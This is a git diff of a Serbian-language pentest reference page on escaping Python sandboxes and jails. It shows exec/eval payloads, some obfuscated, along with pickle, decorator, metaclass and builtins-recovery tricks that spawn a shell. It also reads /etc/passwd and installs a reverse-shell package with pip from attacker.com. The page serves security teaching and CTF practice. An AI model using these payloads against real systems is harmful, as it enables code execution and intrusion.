* [**Osnovno Eksploatisanje u Linux-u**](../exploiting/linux-exploiting-basic-esp/)
|
* [**Osnovno Eksploatisanje u Linux-u**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||||
* [**Osnovno Eksploatisanje u Windows-u**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [**Osnovno Eksploatisanje u Windows-u**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
* [**Osnovni alati za eksploatisanje**](../exploiting/tools/)
|
* [**Osnovni alati za eksploatisanje**](../reversing-and-exploiting/tools/)
|
||||||
|
|
||||||
#### [**Osnovni Python**](python/)
|
#### [**Osnovni Python**](python/)
|
||||||
|
|
||||||
#### **Kripto trikovi**
|
#### **Kripto trikovi**
|
||||||
|
|
||||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Zaobilazak Python peskovnika
|
# Bypass Python sandboxes
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -27,6 +27,7 @@ Ovo su neki trikovi za zaobilaženje zaštita Python peskovnika i izvršavanje p
|
||||||
## Biblioteke za Izvršavanje Komandi
|
## Biblioteke za Izvršavanje Komandi
|
||||||
|
|
||||||
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa već uvezenom bibliotekom, ili da li možete uvesti bilo koju od ovih biblioteka:
|
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa već uvezenom bibliotekom, ili da li možete uvesti bilo koju od ovih biblioteka:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -59,6 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
||||||
execfile('/usr/lib/python2.7/os.py')
|
execfile('/usr/lib/python2.7/os.py')
|
||||||
system('ls')
|
system('ls')
|
||||||
```
|
```
|
||||||
|
|
||||||
Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitanje datoteka** unutar python sandbox-a i za **pisanje koda** koji biste mogli **izvršiti** da **zaobiđete** sandbox.
|
Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitanje datoteka** unutar python sandbox-a i za **pisanje koda** koji biste mogli **izvršiti** da **zaobiđete** sandbox.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -76,6 +78,7 @@ Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (slede
|
||||||
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
Imajte na umu da iz pickle-a možete napraviti python okruženje da **uvozi proizvoljne biblioteke** instalirane u sistemu.\
|
Imajte na umu da iz pickle-a možete napraviti python okruženje da **uvozi proizvoljne biblioteke** instalirane u sistemu.\
|
||||||
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
|
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Note that here we are importing the pip library so the pickle is created correctly
|
#Note that here we are importing the pip library so the pickle is created correctly
|
||||||
#however, the victim doesn't even need to have the library installed to execute it
|
#however, the victim doesn't even need to have the library installed to execute it
|
||||||
|
@ -88,6 +91,7 @@ return (pip.main,(["list"],))
|
||||||
|
|
||||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija o tome kako radi pickle proverite ovde: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
Za više informacija o tome kako radi pickle proverite ovde: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||||
|
|
||||||
### Pip paket
|
### Pip paket
|
||||||
|
@ -95,10 +99,12 @@ Za više informacija o tome kako radi pickle proverite ovde: [https://checkoway.
|
||||||
Trik deljen od strane **@isHaacK**
|
Trik deljen od strane **@isHaacK**
|
||||||
|
|
||||||
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti obrnutu ljusku pozivajući:
|
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti obrnutu ljusku pozivajući:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install http://attacker.com/Rerverse.tar.gz
|
pip install http://attacker.com/Rerverse.tar.gz
|
||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete preuzeti paket za kreiranje obrnutog školjkaša ovde. Molimo, imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjkaš:
|
Možete preuzeti paket za kreiranje obrnutog školjkaša ovde. Molimo, imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjkaš:
|
||||||
|
|
||||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||||
|
@ -114,6 +120,7 @@ Imajte na umu da exec dozvoljava višelinijske stringove i ";", ali eval ne (pro
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ako su određeni karakteri zabranjeni, možete koristiti **heksadecimalnu/oktalnu/B64** reprezentaciju da **zaobiđete** ograničenje:
|
Ako su određeni karakteri zabranjeni, možete koristiti **heksadecimalnu/oktalnu/B64** reprezentaciju da **zaobiđete** ograničenje:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||||
|
@ -134,7 +141,9 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||||
```
|
```
|
||||||
|
|
||||||
### Druge biblioteke koje omogućavaju evaluaciju python koda
|
### Druge biblioteke koje omogućavaju evaluaciju python koda
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Pandas
|
#Pandas
|
||||||
import pandas as pd
|
import pandas as pd
|
||||||
|
@ -148,7 +157,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||||
# Like:
|
# Like:
|
||||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Operatori i kratki trikovi
|
## Operatori i kratki trikovi
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# walrus operator allows generating variable inside a list
|
# walrus operator allows generating variable inside a list
|
||||||
## everything will be executed in order
|
## everything will be executed in order
|
||||||
|
@ -157,9 +168,11 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Zaobilazak zaštite putem enkodiranja (UTF-7)
|
## Zaobilazak zaštite putem enkodiranja (UTF-7)
|
||||||
|
|
||||||
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 za učitavanje i izvršavanje proizvoljnog Python koda unutar očigledne peska kutije:
|
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 za učitavanje i izvršavanje proizvoljnog Python koda unutar očigledne peska kutije:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -170,6 +183,7 @@ return x
|
||||||
#+AAo-print(open("/flag.txt").read())
|
#+AAo-print(open("/flag.txt").read())
|
||||||
""".lstrip()
|
""".lstrip()
|
||||||
```
|
```
|
||||||
|
|
||||||
Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
|
Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
|
||||||
|
|
||||||
## Izvršavanje Python koda bez poziva
|
## Izvršavanje Python koda bez poziva
|
||||||
|
@ -177,6 +191,7 @@ Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unico
|
||||||
Ako se nalazite unutar Python zatvora koji **ne dozvoljava pozive**, i dalje postoje neki načini da se **izvrše proizvoljne funkcije, kod** i **komande**.
|
Ako se nalazite unutar Python zatvora koji **ne dozvoljava pozive**, i dalje postoje neki načini da se **izvrše proizvoljne funkcije, kod** i **komande**.
|
||||||
|
|
||||||
### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
@exec
|
@exec
|
||||||
|
@ -198,6 +213,7 @@ X = exec(X)
|
||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
|
|
||||||
### RCE kreiranje objekata i preopterećenje
|
### RCE kreiranje objekata i preopterećenje
|
||||||
|
|
||||||
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da se pozovu direktno**.
|
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da se pozovu direktno**.
|
||||||
|
@ -205,6 +221,7 @@ Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pis
|
||||||
#### RCE sa prilagođenim klasama
|
#### RCE sa prilagođenim klasama
|
||||||
|
|
||||||
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste ih naterali da **izvrše proizvoljan kod** kada budu **pokrenuti** bez direktnog pozivanja.
|
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste ih naterali da **izvrše proizvoljan kod** kada budu **pokrenuti** bez direktnog pozivanja.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -254,9 +271,11 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||||
__ior__ (k |= 'import os; os.system("sh")')
|
__ior__ (k |= 'import os; os.system("sh")')
|
||||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Kreiranje objekata pomoću [metaklasa](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
#### Kreiranje objekata pomoću [metaklasa](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||||
|
|
||||||
Ključna stvar koju nam metaklase omogućavaju je **kreiranje instance klase, bez direktnog pozivanja konstruktora**, tako što se kreira nova klasa sa ciljnom klasom kao metaklasom.
|
Ključna stvar koju nam metaklase omogućavaju je **kreiranje instance klase, bez direktnog pozivanja konstruktora**, tako što se kreira nova klasa sa ciljnom klasom kao metaklasom.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||||
# This will define the members of the "subclass"
|
# This will define the members of the "subclass"
|
||||||
|
@ -271,9 +290,11 @@ Sub['import os; os.system("sh")']
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Kreiranje objekata sa izuzecima
|
#### Kreiranje objekata sa izuzecima
|
||||||
|
|
||||||
Kada se **izuzetak pokrene**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (triik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
Kada se **izuzetak pokrene**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (triik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class RCE(Exception):
|
class RCE(Exception):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
@ -293,7 +314,9 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
|
|
||||||
### Više RCE
|
### Više RCE
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||||
|
@ -315,7 +338,9 @@ __iadd__ = eval
|
||||||
__builtins__.__import__ = X
|
__builtins__.__import__ = X
|
||||||
{}[1337]
|
{}[1337]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Pročitajte datoteku pomoću ugrađenih funkcija help & license
|
### Pročitajte datoteku pomoću ugrađenih funkcija help & license
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||||
a = __builtins__.help
|
a = __builtins__.help
|
||||||
|
@ -324,16 +349,19 @@ a.__class__.__exit__ = lambda self, *args: None
|
||||||
with (a as b):
|
with (a as b):
|
||||||
pass
|
pass
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ugrađene funkcije
|
## Ugrađene funkcije
|
||||||
|
|
||||||
* [**Ugrađene funkcije u Pythonu 2**](https://docs.python.org/2/library/functions.html)
|
* [**Ugrađene funkcije u Pythonu 2**](https://docs.python.org/2/library/functions.html)
|
||||||
* [**Ugrađene funkcije u Pythonu 3**](https://docs.python.org/3/library/functions.html)
|
* [**Ugrađene funkcije u Pythonu 3**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
Ako možete pristupiti objektu **`__builtins__`**, možete uvesti biblioteke (primetite da biste ovde takođe mogli koristiti drugu string reprezentaciju prikazanu u poslednjem odeljku):
|
Ako možete pristupiti objektu **`__builtins__`**, možete uvesti biblioteke (primetite da biste ovde takođe mogli koristiti drugu string reprezentaciju prikazanu u poslednjem odeljku):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__builtins__.__import__("os").system("ls")
|
__builtins__.__import__("os").system("ls")
|
||||||
__builtins__.__dict__['__import__']("os").system("ls")
|
__builtins__.__dict__['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bez Ugrađenih Funkcija
|
### Bez Ugrađenih Funkcija
|
||||||
|
|
||||||
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
|
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
|
||||||
|
@ -342,6 +370,7 @@ Međutim, **podrazumevano, Python učitava mnoge module u memoriju**. Ovi moduli
|
||||||
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**benignih**" učitanih modula da biste pristupili **opasnim** **funkcionalnostima** unutar njih.
|
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**benignih**" učitanih modula da biste pristupili **opasnim** **funkcionalnostima** unutar njih.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Try to reload __builtins__
|
#Try to reload __builtins__
|
||||||
reload(__builtins__)
|
reload(__builtins__)
|
||||||
|
@ -362,9 +391,11 @@ import __builtin__
|
||||||
# Or you could obtain the builtins from a defined function
|
# Or you could obtain the builtins from a defined function
|
||||||
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Python3
|
#### Python3
|
||||||
|
|
||||||
#### Пајтон3
|
#### Пајтон3
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Obtain builtins from a globally defined function
|
# Obtain builtins from a globally defined function
|
||||||
# https://docs.python.org/3/library/functions.html
|
# https://docs.python.org/3/library/functions.html
|
||||||
|
@ -383,15 +414,19 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
|
|
||||||
[**Ispod se nalazi veća funkcija**](./#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **builtins**.
|
[**Ispod se nalazi veća funkcija**](./#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **builtins**.
|
||||||
|
|
||||||
#### Python2 i Python3
|
#### Python2 i Python3
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Recover __builtins__ and make everything easier
|
# Recover __builtins__ and make everything easier
|
||||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||||
__builtins__["__import__"]('os').system('ls')
|
__builtins__["__import__"]('os').system('ls')
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ugrađeni tereti
|
### Ugrađeni tereti
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Possible payloads once you have found the builtins
|
# Possible payloads once you have found the builtins
|
||||||
__builtins__["open"]("/etc/passwd").read()
|
__builtins__["open"]("/etc/passwd").read()
|
||||||
|
@ -399,9 +434,11 @@ __builtins__["__import__"]("os").system("ls")
|
||||||
# There are lots of other payloads that can be abused to execute commands
|
# There are lots of other payloads that can be abused to execute commands
|
||||||
# See them below
|
# See them below
|
||||||
```
|
```
|
||||||
|
|
||||||
## Globalne i lokalne promenljive
|
## Globalne i lokalne promenljive
|
||||||
|
|
||||||
Provera **`globals`** i **`locals`** je dobar način da saznate na šta možete pristupiti.
|
Provera **`globals`** i **`locals`** je dobar način da saznate na šta možete pristupiti.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
>>> globals()
|
>>> globals()
|
||||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||||
|
@ -425,6 +462,7 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
|
|
||||||
## Otkrijte proizvoljno izvršavanje
|
## Otkrijte proizvoljno izvršavanje
|
||||||
|
|
||||||
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti učitane** i predložiti pouzdanije eksploatacije.
|
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti učitane** i predložiti pouzdanije eksploatacije.
|
||||||
|
@ -432,6 +470,7 @@ Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti učitane**
|
||||||
#### Pristupanje podklasama sa zaobilaznicama
|
#### Pristupanje podklasama sa zaobilaznicama
|
||||||
|
|
||||||
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupanja baznim podklasama**. U prethodnim primerima to je urađeno korišćenjem `''.__class__.__base__.__subclasses__()`, ali postoje **i druge moguće metode**:
|
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupanja baznim podklasama**. U prethodnim primerima to je urađeno korišćenjem `''.__class__.__base__.__subclasses__()`, ali postoje **i druge moguće metode**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
